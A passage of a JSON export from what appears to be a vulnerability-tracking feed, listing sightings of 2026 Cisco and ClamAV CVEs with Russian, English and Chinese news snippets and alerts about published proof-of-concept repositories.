\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-14T00:00:09.530430Z"}, {"uuid": "14761825-f243-4a36-a454-7b792397c935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-14T00:00:09.587049Z"}, {"uuid": "be432c22-4b0f-407f-9251-78fcabde71be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "published-proof-of-concept", "source": "Telegram/b2UszBlL6pwI-lPO-fDfPtw13spnzDLEe20NOMPsyVWZxGY", "content": "", "creation_timestamp": "2026-08-21T00:00:09.551365Z"}, {"uuid": "8cf78397-4008-4359-9eea-0311c0697f8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "published-proof-of-concept", "source": "Telegram/b2UszBlL6pwI-lPO-fDfPtw13spnzDLEe20NOMPsyVWZxGY", "content": "", "creation_timestamp": "2026-08-21T00:00:09.645451Z"}, {"uuid": "c5a5083a-0fa5-44a2-966b-f5a36b47a2f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mte3qcsy6e2c", "content": "Here we go again, as Cisco Secure Firewall ASA and FTD deployments take an unprompted nap thanks to CVE-2026-20349. Unauthenticated miscreants are happily crashing Remote Access SSL VPN services because someone forgot basic HTTP error handling. If your enterprise perimeter is cur...\n\nRead full story", "creation_timestamp": "2026-08-18T11:16:54.425963Z"}, {"uuid": "6305d281-b76a-4e71-afa9-5b17facfd2bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "MISP/170722ec-e2a5-4455-9c36-cb36b72bcffc", "content": "", "creation_timestamp": "2026-08-14T00:15:02.832963Z"}, {"uuid": "40fea74c-132e-4833-926e-3d5aece0f275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/CyberDispatch/2110", "content": "Cisco Unified CM admins should check WebDialer now.\n\nCVE-2026-20230 is being exploited, and vulnerable WebDialer-enabled systems can be abused by unauthenticated attackers to write files.", "creation_timestamp": "2026-08-29T20:00:08.394675Z"}, {"uuid": "2e229f88-bcc4-4cd6-b400-5fad4d6ab08d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88686", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-13 18:20:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20253\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:06.526515Z"}, {"uuid": "37417af6-ac07-450a-a64d-85aec135fcb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/ctinow/252264", "content": "Cisco Unified CM flaw CVE-2026-20230 now exploited in attacks\nhttps://ift.tt/mCTNgfo", "creation_timestamp": "2026-07-15T00:00:22.908821Z"}, {"uuid": "7337b822-f911-4e04-8f0a-84720325615b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90171", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Bypass #AMSI\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a GhostUSB\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a RDTUTORIAL\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 00:05:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExperimental red-team firmware for ESP32-S2/S3. Features USB HID keyboard emulation, multi-layer AMSI bypass, CVE-2026-20817 WER ALPC exploitation, 12 built-in payloads, and WiFi C2 with AES-256-GCM encryption.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:19.447290Z"}, {"uuid": "35aab9a0-5ace-4c3f-a68a-68d2ea88771d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/ctinow/251878", "content": "CVE-2026-20262: CISCO Catalyst SD-WAN Flaw Under Active Targeted Exploitation\nhttps://ift.tt/pTJktyL", "creation_timestamp": "2026-07-15T00:00:22.570873Z"}, {"uuid": "66b3991e-058b-4988-930b-381d9b3a6c41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/ctinow/252350", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access\nhttps://ift.tt/aMH1Xh3", "creation_timestamp": "2026-07-15T00:00:22.793407Z"}, {"uuid": "8abbce7c-ece1-45c4-b1f0-01ca9fd0d4d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/ctinow/252301", "content": "Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild\nhttps://ift.tt/qXvYBET", "creation_timestamp": "2026-07-15T00:00:22.828582Z"}, {"uuid": "6c12b8cb-2eee-47d8-a749-577bb879377f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91042", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20637-AppleSEPKeyStore-UAF\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 54  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 7\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-28 